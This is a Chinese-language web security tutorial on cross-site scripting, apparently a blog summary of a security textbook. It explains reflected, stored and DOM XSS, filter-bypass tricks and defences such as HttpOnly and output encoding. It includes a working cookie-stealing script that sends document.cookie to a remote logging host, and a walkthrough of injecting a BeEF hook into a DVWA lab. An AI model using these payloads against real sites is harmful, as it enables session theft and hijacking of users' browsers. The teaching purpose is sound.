WEB安全基礎篇-跨站腳本攻擊(XSS)
前言
此文章總結學習於《白帽子講WEB安全》
跨站腳本攻擊(XSS)是客户端安全的頭號大敵,OWASP TOP 10多次把xss列在榜首。
一、XSS簡述
XSS攻擊是指黑客通過“HTML注入”篡改網頁,插入惡意的腳本,當用户瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用户的特殊目的。
1.1 什麼是XSS
假設一個用户輸入的參數直接輸出到頁面上**(本章全程使用phpStudy進行環境部署)**
<?php $input = $_GET["test"]; echo "<div>".$input."</div>"; ?>
訪問此php界面,想test參數提交數據,頁面會展示提交的數據內容
http://192.168.163.131/test.php?test=ceshi
上面我們可以看到和我們猜想的一樣。
如果我們提交的數據改為一段js代碼
http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>
我們看到script腳本被執行,我們在看一下源代碼
<div><script>alert(/test!!!/)</script></div>
script腳本被加載到頁面中,這顯然是有問題的。
1.2 XSS分類
XSS根據效果可以分為三類:
反射型XSS
我們上面的例子就是反射型的xss,就是把用户輸入的數據“反射”給瀏覽器,也就是説,用户在訪問惡意鏈接時,才能攻擊成功,反射型xss也叫做非持久性xss。
存儲型XSS
存儲型xss會把用户輸入的數據存儲在服務器端,這種sxx具備很強的穩定性,常見的場景就是,黑客寫下一篇包含惡意js腳本的博客,其他用户瀏覽包含惡意js腳本的博客,會在他們瀏覽器上執行這段惡意代碼。包含惡意js腳本的博客是保存在服務端的,所以這種xss攻擊叫做“存儲型xss"
DOM XSS
這類XSS非按照數據是否保存在服務的來劃分的,DOM XSS與反射性XSS、存儲型XSS的主要區別在於DOM XSS的XSS代碼不需要服務端解析響應的直接參與,觸發XSS的是瀏覽器端的DOM解析。
1.3 DOM XSS漏洞演示
通過修改頁面的DOM節點形成的xss,稱之為DOM XSS
看如下代碼
<script> function test(){ var str = document.getElementById("test").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> <div id="t" ></div> <input type="text" id="test" value="" /> <input type="button" id="s" value="write" onclick="test()" />
點擊wirte會有一個超鏈接,其地址為文本框的內容。
這裏的wirte按鈕的onclick事件調用了test()函數。而在test()函數。而在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用户數據當作html寫入到頁面中,這就造成了DOM based XSS。
構造如下數據
' onclick=alert(/xss/) //
輸入之後界面代碼局變成了
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先用一個單引號閉合掉href的第一個單引號,然後插入一個onclick事件,最後用註釋符“//”註釋掉單引號。點擊新生連接,腳本將被執行。
實際上,這裏還有另外一種利用方式,除了構造一個新事件外,還可以選擇閉合掉標籤,並插入一個新的HTML標籤。嘗試如下輸入
'><img src=# onerror=alert(/xss1/) /><'
頁面代碼變成了
<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>
腳本被執行
二、XSS攻擊進階
2.1 初探XSS Payload
XSS攻擊成功後,攻擊者能過對用户當前瀏覽的頁面進行植入惡意腳本,通過惡意腳本,控制用户的瀏覽器。這些以完成各種功能的惡意腳本,被稱為“XSS Payload”
XSS Payload實際上就是javascript(flash或其他富客户端的腳本),所以在任何JavaScript腳本能實現的功能,xxs payload都能做到。
2.1.1 Cookie 劫持
cookie中一般加密保存了當前用户的登錄憑證。攻擊者如果獲取cookie就可以不通過密碼登錄平台
攻擊者加載一個遠程腳本
http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>
真正xxs payload寫在這個遠程腳本中,避免直接在url中寫入大量的javascript代碼
evil.js文件
var img = document.createElement("img"); img.src = "http://192.168.163.143/log?" +escape(document.cookie); document.body.appendChild(img);
這段是插入一個看不到的圖片,同時把document.cookie對象當作參數發送到遠程服務器。,實際上http://192.168.163.143/log不用存在,因為這個請求會在遠程服務器上的web日誌中記錄
tail -f /var/log/apache2/access.log
2.1.2 cookie登錄
首先管理員用户登錄cms測試平台
F12在控制枱輸入
document.cookie
登錄test用户,使用burp攔截請求包,將cookie修改為admin用户的cookie
放開攔截,我們發現test變為admin用户
所以xss攻擊,可以完成cookie劫持攻擊。我們一般通過在cookie中增加httponly標識可以防止cookie劫持。
2.2 強大的XSS Payload
ciooke劫持並非所有時候都有效,有的網站可能會在set-cookie時給關鍵cookie植入HttpOnly標識;有些網站可能會把cookie與客户端IP綁定。從而是的xss竊取cookie失去意義。
儘管如此,在xss攻擊成功後,攻擊者仍然有許多方式能控制用户的瀏覽器
1、構造GET與POST請求
2、使用XSS釣魚,模擬一個登錄窗口等。
3、識別用户瀏覽器
我們可以通過xss收集一些用户個人信息,實現精準的瀏覽器內存攻擊,最終實現給電腦注入一個木馬。
navigator.userAgent
OS版本信息:Windows NT 6.1; Win64; x64 瀏覽器版本:Chrome 101.0.4951.64
但是這個useragent信息是可以偽造的,所以通過javascript取出來的這個信息不一定正確。
4、識別用户安裝的軟件
知道用户的瀏覽器、操作系統後,進一步識別用户安裝的軟件。
5、CSS History Hack
其原理市利用style的visited屬性,如果用户曾經訪問某個連接,那麼這個鏈接的顏色會變得與眾不同。
<body> <a href=# > 曾經訪問過的 </a> <a href="notexist">未曾訪問過的</a> </body>
6、獲取用户的真實IP地址
2.3 XSS攻擊平台
xss payload如此強大,為了方便,安全研究者將許多功能封裝起來,成為xss攻擊平台。
AttackApi是一個用於XSS攻擊的JS庫,你不用再寫那些繁瑣的涉及到各種標籤各種dom各種系統各種瀏覽器的基礎代碼,直接調用AttackAPI為你封裝好的那些函數即可。
2.3.1 Beefxss工具演示
工具介紹
BeEF-XSS是一款非常強大的web框架攻擊平台,集成了許多payload,可以實現許多功能。
BeEF-XSS生成交互paylaod的hook 服務器端:beef作為服務端管理,管理訪問運行了hook的客户端 客户端:運行與客户端瀏覽器的 Javascript 腳本(hook),也就是beef生成的payload。 beef將運行了hook的web瀏覽器鈎住,進行管理
beef能配合xss,將hook插入到存在xss的注入處;直接誘使客户端訪問含有 hook 的偽造站點,結合中間人攻擊注入 hook 腳本
工具下載
beef只支持Linux平台,Ruby的版本需要在2.5以上,kali中自帶beef
下載: git clone http://github.com/beefproject/beef
安裝配置查看: http://github.com/beefproject/beef/wiki/Installation
beef如果用於實戰的話,需要建立連接的時候要使受害機能訪問到beef,因此需要一個公網ip。
使用測試
kali攻擊者:192.168.163.128
DVWA靶機:192.168.163.131
1、更該beef的默認用户名密碼
vi /etc/beef-xss/config.yaml
beef的默認用户名密碼為beef、beef,如果需要更改beef的用户密碼,則在配置文件裏面更改user和passwd的值,(默認是修改密碼的,不然啟動的時候會報警告)。
啟動beef服務端
beef-xss
beef的服務端地址,用户密碼為默認的beef,密碼為你自己修改之後的密碼
http://127.0.0.1:3000/ui/panel
登錄成功後,這裏會顯示在線和不在線的主機,在線就是現在該主機瀏覽器執行了我們的js腳本代碼,不在線的就是該主機曾經執行過我們的js腳本代碼,但現在關掉了該界面。
插入腳本hook到靶機
我們的hook啟動的時候已經給出:
[*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
kali的地址為192.168.163.128,那麼靶機上插入的hook js腳本為:
<script src="http://192.168.163.128:3000/hook.js"></script>
在靶機DVWA,把"DVWA security"等級改成"low",然後打開"XSS stored",把我們的腳本代碼存儲起來。這樣就形成了一個存儲型XSS,當受害者(windows 7)瀏覽該頁面時,就被劫持了。
留言提交後,靶機的瀏覽器就被beef鈎上了:
beef管理
在beef上鈎了的受害機,beef對其可以獲取很多主機、瀏覽器信息
1、Details是瀏覽器信息詳情
2、logs模塊-日誌記錄
3、commands-命令模塊
主要模塊
-Browsers(瀏覽器) - Exploits(攻擊) - Host(主機) - Persistence(持久) - Network(網絡)
綠色圓圈:表示模塊適合目標瀏覽器,並且執行結果對客户端不可見
紅色圓圈:表示模塊不適用與當前用户,有些紅色模塊也可以正常執行
橙色圓圈:模塊可用,但結果對用户可見(CAM 彈窗申請權限)
灰色圓圈:模塊未在目標瀏覽器上測試過
XSS-Proxy
是一個輕量級的XSS攻擊平台,通過嵌套iframe的方式可以實時地遠程控制被XSS攻擊的瀏覽器
2.4 XSS Worm
一般來説,用户之間發生交互行為的頁面,如果存在存儲型XSS,則比較容易發生xss worn攻擊。比如:用户留言,個人信息等
2.5 XSS構造技巧
2.5.1 利用字符編碼
在使用GB2312編碼的網頁上,script標籤輸出一個變量,提交輸入的是 “;alert(/xss/)” 來實現xss攻擊,使用 " 來閉合前面的符號,但是頁面轉義了雙引號,所以實際代碼如下:
let redirectUrl = "\";alert(/xss/);";
正常情況下這樣是沒發引起xss的,因為變量處於雙引號之內,系統轉義了雙引號。
但在使用GB2312編碼頁面中, “%c1\”兩個字符組合在一起會成為一個unicode字符,於是可以構造輸入
let redirectUrl = "%c1\";alert(/xss)";
提交之後,通過GB2312編碼轉義就會變成
let redirectUrl = "繺";alert(/xss/);
剛好把“\”給覆蓋掉。
"%c1" 這兩個字符組成一個新的unicode字符,"%c1" 把轉義符"\“ 給吃掉了,從而繞過了系統的安全檢查。
2.5.2 繞過長度限制
很多時候,產生xss的地方會有變量的長度限制,這個限制可能是服務器端邏輯造成的,假設下面代碼存在一個xss漏洞
<input type=test value="$var" />
服務器如果對輸入變量”$var“ 做了嚴格的長度限制,那麼攻擊者可能會這樣xss
$var為: "><script>alert(/xss/)</script>
希望達到的輸入效果是
<input type=test value=""><script>alert(/xss/)</script> />
假設長度限制為20個字符,則這段xss會被切割為
$var 輸入為:"><script>alert(/xss
連一個完整的函數都無法寫完,這樣就xss就可能無法成功了。
但是攻擊者可以利用事件來縮短所需要的字符數
$var 輸出為:" onclick=alert(1)//
加上空格符正好20個字符,實際輸出為
<input type=test value="" onclick=alert(1)//" />
當用户點擊文本框後,alert執行
利用事件能夠縮短的字節數是有限的,最好的辦法就是把xss payload寫到別處,在通過簡短的代碼加載這段xss payload
通常的一個藏代碼的地方就是 location.hash。而且跟進http協議,location.hash的內容不會在http包中發送,所以服務端web日誌中不會記錄location.hash裏的內容。
注:hash 屬性是一個可讀可寫的字符串,該字符串是 URL 的錨部分(從 # 號開始的部分)。
$var 輸出為:" onclick="eval(location.hash.substr(1))
總40個字節。輸出後的html是:
<input type=test value="" onclick="eval(location.hash.substr(1))" />
因為location.hash的第一個字符是#,substr(1)是從1開始,不是從0開始,,此時構造出來的url為
http://127.0.0.1/1.html#alert(1)
location,hash本身沒有長度限制,但瀏覽器的地址欄有長度限制,如果地址欄長度不夠用,還可以使用加載遠程js的方法。
2.5.3 註釋符繞過長度限制
比如我們可能控制兩個文本框,第二個文本框允許我們寫入更多字節。我們可以通過註釋符號把兩個文本框之間的HTML代碼全部註釋掉,從而打通兩個標籤。
<input id=1 type="text" value="" /> xxxxxxxxxxxxxxx <input id=2 type="text" value="" />
在第一個input框中輸入
"><!--
在第二個input框中輸入
--><script>alert(/xx/)</script>
最終效果
<input id=1 type="text" value=""><!--" /> xxxxxxxxxxxxxxx <input id=2 type="text" value="--><script>alert(/xx/)</script>" />
中間代碼全部被註釋
<!--" /> xxxxxxxxxxxxxxx <input id=2 type="text" value="-->
最終效果如下
2.5.4 使用< base>標籤
< base>標籤並不常用,作用是定義界面上的一個所有相對路徑 標籤的hosting地址。
比如,打開一張不存在的圖片
<body> <img src="/test/1.png"> </body>
實際上這個地址是一張圖片,源地址
http://127.0.0.1/test/1.png
在img標籤前面添加一個base標籤
<body> <base href="http://127.0.0.1" /> <img src="/test/1.png"> </body>
base標籤可以出現在頁面的任何地方,並作用於位於該標籤之後的所以標籤。
如果攻擊者在頁面插入了base標籤,就可以通過遠程服務器偽造圖片,連接或者腳本。劫持當前頁面中所有使用相對路徑的標籤。比如:
<base href="http://www.a.com" /> <img src="/test/1.png"> <script src="x.js"></script> <a href="auth.do">auth</a>
所以涉及xss安全方案一定要過濾掉這個非常危險的標籤。
2.5.5 window.name 的妙用
對當前窗口的window.name對象賦值,沒有特殊字符的限制。因為window對象是瀏覽器的窗體,而非document對象,因此很多時候,windwo對象不受同源策略的限制。攻擊者利用這個對象可以實現跨域、跨界面傳遞數據。在某些環境下,這些特性將會變得非常有用。
假設“http://192.168.114.130/1.html”的代碼為
<body> <script> window.name = "test" alert(document.domain+" "+window.name) window.location = "http://192.168.163.128/index.html" </script> </body>
這段代碼將window.name賦值為test,然後顯示當前域和window.name的值,最後將其頁面跳轉到“http://192.168.163.128/index.html”。
“http://192.168.163.128/index.html”的代碼為
<body> <script> alert(document.domain+" "+window.name) </script> </body>
我們訪問“http://192.168.114.130/1.html”,這裏顯示了當前域和windows.name值
點擊確定後,頁面自動跳轉到“http://192.168.163.128/index.html”,但是winsow.name值沒變
這個過程實現了數據跨域傳遞:test這個值從http://192.168.114.130傳遞到了http://192.168.163.128。
使用windo.name可以縮短xss payload的長度。先通過window.name寫好alert(”hello“)之類的語句,再在同一窗口打開XSS站點後,輸入 eval(name);
2.6 反射型XSS利用技巧-迴旋鏢
將要利用的反射型XSS嵌入到一個存儲型XSS中,這個攻擊技巧稱為迴旋鏢。
因為瀏覽器同源策略的原因,xss也受到同源策略的限制,發生在A域的xss很難影響到B域的用户。
迴旋鏢的思路:如果在B域上存在一個反射型”xss_b“,在A域上存在一個存儲型”xss-a",當用户訪問A域的“xss-a"時,同時嵌入B域上的"xss-b",則可以達到在A域的xss攻擊B域用户的目的。
IE瀏覽器中,< iframe>、< img>、< link>等標籤都會攔截第三方cookie的發送。而在firefox中則無這限制(第三方cookie既指保存在本地的cookie,也就是服務器設置了expire(失效日期)時間的cookie。
所以在firefox中只需要在XSS-A處嵌入一個iframe標籤即可
<iframe src="http://www.b.com/?xss......"></iframe>
而在IE瀏覽器中,使用< form>表單,然後提交到B,B再跳轉會A;
2.7 Flash XSS
前面説的都是基於HTML的xss,其實Flash中同樣可能造成xss攻擊。
在Flash中是可以嵌入ActionScript腳本的,常見的Flash xss可以這樣寫
getURL("javascript:alert(document.cookie)")
ActionScript可以發起網絡連接,因此應該禁止用户能夠上傳或者加載自定義Flash文件。
一定要使用Flash,如果是視頻文件,要求轉碼為”flv“文件,flv是靜態文件,不會產生隱患。如果是帶動態腳本的Flash,則可以通過Flash參數進行限制。
限制Flash動態腳本的最重要參數是”allowScriptAcccess“,這個參數定義了Flash能否域HTML頁面通信,他有三個可選值:
always : 對於HTML的通信也就是執行JavaScript不做任何限制。
sameDomain: 只允許來自於本域的Flash於HTML通信,這是默認值。
never: 絕對禁止Flash與頁面通信。
除了allowScriptAccess外,allowNetworking也是非常關鍵,這個參數可以控制Flash與外部網絡通信,他有三個可選值:
all : 允許使用所有網絡通信,默認值
internal : Flash不能與瀏覽器通信如nacigateToURL,但是可以調用其他的API
none : 禁止任何的網絡通信
2.8 JavaScript開放框架
jQuery可能是目前最流行的javaScript框架。jQuery中有一個html()方法,這個方法如果沒有參數,就是一個讀取DOM節點的innerHTML,如果有參數,則會把參數寫入該DOM節點的inner HTML中,這個過程可能產生” DOM Based XSS"
$('div.demo-container').html("<img src=# onerror=alert(1) />");
如上,如果用户能夠控制輸入,必然存在xss。
三、XSS防禦
xss的防禦是複雜的
流行瀏覽器都內置了一些對抗xss的措施,比如Firefox的CSP、Noscript擴展,IE8內置的XSS Filter等。而對於網站來説,也應該有保護用户不被xss攻擊的能力。
3.1 HttpOnly
HttpOnly最早是由微軟提出,並在IE6實現,逐步稱為一個標準,瀏覽器將禁止頁面的javascript訪問帶有HttpOnly屬性的cookie。
其中IE6+、firefo、chrome很多瀏覽器現在都具備了。
嚴格地説HttpOnly並非為了對抗XSS,HttpOnly解決的是XSS後的Cookie劫持攻擊。
前面我們顯示過cookie劫持後。可以登錄被劫持後的xss用户。如果該cookie設置了HttpOnly,這種攻擊就會失敗,因為JavaScript取不到cookie的值。
一個cookie的使用過程如下:
step1: 瀏覽器向服務器發起請求,這時候沒有cookie。
step2 : 服務器返回時發送set-cookie,向客户端瀏覽器寫入cookie。
step3: 在該cookie到前期,瀏覽器訪問該域下的所有界面,都將發送該cookie。
HttpOnly是在set-cookie時標記的
set-cookie:<name>=<value>......[; secure] [; HttpOnly]
服務器可能會設置多個cookie(對應key-value對),而HttpOnly可以選擇性的添加任何一個cookie值上。
某些時候,應用可能需要javaScript訪問某幾項cookie,這種cookie可以不設置HttpOnly標籤,而僅把HttpOnly標記用於認證的關鍵cookie。
HttpOnly的使用非常靈活,如下是一個使用HttpOnly的過程
<?php header("Set-Cookie: cookie1=test1;"); header("Set-Cookie: cookie2=test2;httponly", false); ?> <script> alert(document.cookie); </script>
在這段代碼中,cookie1沒有httponly,cookie2被標記為HttpOnly。我們查看請求包
瀏覽器的確接收了兩個cookie
但是隻有cookie1被JavaScript讀取到
添加了HttpOnly不等於解決了xss問題,xss攻擊還有竊取用户信息,模擬用户身份執行操作等。
3.2 輸入檢查
常見的web漏洞如XSS、SQL注入等,都是要求攻擊者構造一些特殊字符,這些特殊字符可能是正常用户不會用到的,所以就有了檢查的必要。
輸入檢查的代碼一定要在服務器端實現,因為如果在客户端使用JavaScript進行輸入檢查,很容易繞過檢查。正常做法是客户端和服務端實現相同的輸入檢查,客户端可以阻擋大部分錯誤操作的正常用户,可以節約服務器的資源。
輸入檢查一般都是檢查用户輸入的數據中是否包含一些特殊字符,如<,#等,比較智能的,還會匹配xss的特則,如JavaScript,< img>等敏感字符。
這種輸入檢查方式可以稱為“XSS Filter",互聯網上很多開源的“XSS Filter"源碼。
XSS Filter在用户提交數據時獲取變量,並進行xss檢查。但此時用户數據並沒有結合渲染界面的html,因此XSS Filter對語境的理解並不完整。
如下:
<script src="$var"></script>
$vat就是用户可以控制的變量,用户只要提交一個惡意腳本所在的uel地址,就可以試試xss攻擊了。
所以XSS Filter對語境的理解並不完整,很可能改變用户原來的意思。
3.3 輸出檢查
一般來説出來富文本的輸出外,在變量輸出到html頁面時,可以使用編碼或者轉義方式來防禦xss攻擊。
3.3.1 安全的編碼函數
編碼分為很多種,針對HTML代碼的編碼方式為HTMLEncode。
HTMLEndo並非專用名詞,他只是一種函數實現,他的作用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1。
為了對抗xss,在HTMLEncode中要求至少轉化一下字符:
& - &amp < - &lt > - &gt " - &quot ' - ' / - /
在php中,有htmlentities()和htmlspecialchars()兩個函數可以滿足安全要求。
JavaScript的編碼方式可以使用JavaScriptEncode。
JavaScriptEncode需要使用 \ 對特殊字符進行轉義。在對抗xss時候,還要去輸出變量必須在引號內部。
var x = escapeJavascript($evil); var y = '"'+escapeJavascript($evil)+'"';
如果escapeJavascript()函數只轉義了幾個危險的字符,比如‘ 、“、<、>等,那麼上面兩行代碼輸出後可能會變成
var x = 1;alert(2); var y = "1;alert(2)";
第一行執行額外的代碼了,第二行是安全的,對於後者,攻擊者即使向逃逸出引號的範圍,也會遇到困難。
var y = "\";alert(1);\/\/";
所以要求使用JavaScriptEncode的變量出輸出一定要去引號內。
還有一個更加嚴格的JavaScriptEncode函數來保證安全-除了數字、字母外的所有字符,都使用十六進制“\xHH"方式進行編碼,如下
var x = 1;alert(2);
變成了
var x = 1\x3balert\x2822\x29;
除了以上函數,還有其他函數,比如:XMLEncode(其實現與HtmlEncode類似)、JSONEncode(與JavaScriptEnde類似)等。
3.3.2 只需要一種編碼嗎
XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞可以在模板系統中解決。
python開放框架Django自帶的模板系統“Django Templates"中,可以使用escape進行HtmlEncode。比如:
{{var|escape}}
這樣寫變量會被HtmlEncode編碼。
在Django1.0、web2py框架中加強,默認所有變量都會被escape。符合“Secure By Default”原則。
因為語境不同,不是全部都使用auto-escape就可以,需要根據情況分情況對待。
注:經典MVC模式中,M是指業務模型,V是指用户界面,C則是控制器,使用MVC的目的是將M和V的實現代碼分離,從而使同一個程序可以使用不同的表現形式。其中,View的定義比較清晰,就是用户界面。
3.4 正確地防禦XSS
XSS本質是一種HTML注入,用户的數據被當作HTML代碼的一部分,從而混淆原來的語義,產生新的語義。
如果網站時MVC架構,那麼XSS就發生在View層,在應用拼接變量到HTML頁面時產生。所以在提交數據處進行輸入檢查的方案,其實並不是在真正發生攻擊的地方做防禦。
我們嘗試將不同場景的xss一一列出,嘗試解決
下面變量$var 表示用户數據。
3.4.1 在HTML標籤中輸出
<div>$var</div> <a href=#>$var</a>
所有在標籤中輸出的變量,如果未做任何處理,都能導致直接產生XSS。
此場景下,XSS的利用方式一般都是構造一個< script>標籤,或者是任何能夠產生腳本執行的方式。
<div><script>alert(/xss/)</script></div>
或
<a href=#><img src=# onerror=alert(1) /></a>
防禦方法
對變量使用HtmlEncode。
3.4.2 在HTML屬性中輸出
<div id="abc" name="$var" ></div>
與在HTML標籤中輸出類似,可能的攻擊方法
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防禦方法
對變量使用HtmlEncode。
3.4.3 在script標籤中輸出
在script標籤中輸出時,首先應該確保輸出的變量在引號中
<script> var x = "$var"; </script>
攻擊者需要先閉合引號才能試試xss攻擊
<script> var x = "”alert(/xss/);//"; </script>
防禦方法
對變量使用JavascriptEncode。
3.4.4 在事件中輸出
在事件中輸出和在< script>標籤中輸出類似
<a href=# onclick="funcA('$var')">test</a>
可能的攻擊方法
<a href=# onclick="funcA('');alert(/xss/);//')">test</a>
防禦方法
對變量使用JavascriptEncode。
3.4.5 在css中輸出
在CSS和style、style attribute中形成的xss方式非常多樣化。
防禦方法
儘可能禁止用户可控制的變量在< style>標籤、HTML標籤的style屬性以及CSS文件中輸出。如果一定有這種需求,則推薦使用OWASP ESAPI中的encodeForCSS函數,此函數除了字母、數字外的所有字符都被編碼成為十六進制形式“\uHH”。
3.4.6 在地址中輸出
在URL的path(路徑)或者search(參數)中輸出使用urlEncode即可。URLEncode會將字符轉化為%HH形式,比空格就是“%20”等。
<a href="http://www.a.com/?test=$var">test</a>
可能的攻擊方法
<a href="http://www.a.com/?test=" onclick=alert(1)"" >test</a>
經過URLEncode編碼後
<a href="http://www.a.com/?test=%22%20onclick%3Dalert(1)%22" >test</a>
還有一種是url的http://(protocal部分)和IP地址(host部分)不能使用urlEncode轉發的情況
攻擊者偽造協議實施攻擊
<a href="JavaScript:alert(1)">test</a>
還有vbscript、dataURL等偽協議可能導致腳本執行。
防禦方法
這種情況下如果變量是整改url,則先檢查變量是否以http開頭,保障不會出現偽協議的xss攻擊。在對變量進行URLEncode。
3.5 處理富文本
部分網站允許用户提交一些自定義的HTML代碼,稱為富文本。
富文本,應嚴格禁止< iframe>、< script>等標籤,只允許< a>、< img>等比較安全的標籤,在標籤選擇上,應該使用白名單、避免使用黑名單。
富文本在處理CSS時,儘可能的禁止用户自定義css與style。
有些開源的XSS Filter項目,可以實現對富文本的xss檢查。
3.6 防禦DOM Based XSS
DOM Based XSS是一種比較特殊的xss漏洞,前文中提到的幾種防禦方法都不太合適,需要特別對待
我們看一下之前的例子,看一下DOM Based XSS是如何形成的呢
<script> function test(){ var str = document.getElementById("test").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> <div id="t" ></div> <input type="text" id="test" value="" /> <input type="button" id="s" value="write" onclick="test()" />
在上面代碼onclick事件中,執行了test()函數,而函數中最關鍵的一句是
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
將HTML代碼寫入DOM節點,最後導致xss的發生
事實上,DOM Based XSS是從JavaScript中輸出數據到HTML頁面裏,而前文提到的方法都是針對“從服務器應用直接輸出到HTML頁面”的XSS漏洞,因此不適用DOM Based XSS。
看一下這個例子
<script> var x = "$var"; document.write("<a href='"+x+"'>test</a>"); </script>
變量$var在script標籤內,可是最後又被document.write輸出到HTML界面中。
假設為了保護$var,直接在script標籤內產生xss,服務器對其進行javascEscape。可是,$var在document.write時,然仍然能夠產生xss
<script> var x = "\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27"; document.write("<a href='"+x+"'>test</a>"); </script>
通過javascEscape編譯,但通過HTML界面渲染後,惡意代碼又被識別出來
其原因,第一次執行JavaScriptEscape後,只保護了
var x = "$var";
但是當document.write輸出數據到html頁面時,瀏覽器渲染了界面,在< script>標籤執行時,已經對變量x進行了界面,在document.write在運行時,其參數變成了
document.write("<a href=' 'onclick=alert(1);//''>test</a>");
XSS因此產生。
那是不是對$var函數用錯了編碼方式,我們使用htmlEncode,將 Html 源文件中不允許出現的字符進行編碼。例如:"<"、">"、"&" 等。
<script> var x = "1");alert("2");//"""; document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>"); </script>
防禦方法
在$var輸出到< script>標籤時,應該執行一次JavaScriptEncode,其次在document.write輸出到HTML頁面時,要分具體情況看待:如果是輸出到事件或者腳本,則再做一次JavaScriptEncode,如果是輸出到HTML內容或者屬性,則要做一次HtmlEncode。也就是説從JavaScript輸出到HTML頁面,也等於一次xss輸出的過程,需要分語境使用不同的編碼。
會觸發DOM Based XSS的地方很多,下面是JavaScript輸出到HTML頁面的必經之路
document.write() document.writeln() xxx.innerHTML= xxx.outerHTML= innerHTML.replace document.attachEvent() window.attachEvent() document.location.replace() document.location.assign() ......
除了服務器端直接輸出變量到JavaScript外,還有以下幾個地方可能會成為DOM Based XSS的輸入點。
頁面中所有inputs框 window.location(href、hash等) window.name document.referrer document.cookie localstorage XMLHttpRequest返回的數據 ......
四、總結
本章從主要是從認識xss、xss payload、xss構造技巧和xss防禦方法詳細講述了三類(反射型、存儲型、DOM型)XSS漏洞。一般來説存儲型的威脅最大,因為可能會跨頁面存在也反射型和DOM則需要攻擊者誘使用户點擊一個包含xss代碼的URL連接。理論上,xss漏洞雖然複雜,但卻是可以徹底解決的。需要針對不同場景使用不同的防禦方法。
- 鼠標懸停也能中招!帶毒PPT正用來傳播Graphite惡意軟件
- 澳大利亞史上最大數據泄露事件,40%的居民信息被泄露
- “匿名者”組織聲稱黑進了俄羅斯國防部網站
- 為防釣魚,Win11新版本在記事本、網站中輸入密碼時會發出警告
- Tomcat架構之為Bypass內存馬檢測鋪路(內存馬系列篇四)
- “羊了個羊”遭黑客攻擊,還存在安全隱患?
- 研究人員披露了 Oracle 雲基礎設施中的嚴重漏洞,現已修復
- Python 15年未修的漏洞可能影響 35萬餘個項目,速查
- JAVA代碼審計之java反序列化
- 開源代碼庫攻擊在三年間暴漲7倍
- 五分之二美國消費者數據被盜,企業也難逃攻擊者“毒手”
- 入門學習之社會工程學
- 深陷安全事件泥潭,優步數據泄露何時休?
- 信陽師範學院曝“學信網信息泄露”,學院:已報警,涉事學生幹部被撤職
- 無間道! "沙蟲 "組織冒充烏克蘭電信公司投放惡意軟件
- 繞過檢測之Executor內存馬淺析(內存馬系列篇五)
- 攻擊者正冒充美國政府機構騙取承包商Office賬户
- “泄露”的咖啡!黑客出售近22萬名新加坡星巴克顧客數據
- 手搓Filter內存馬從構造到利用講解(內存馬系列篇一)
- 深入底層源碼的Listener內存馬(內存馬系列篇三)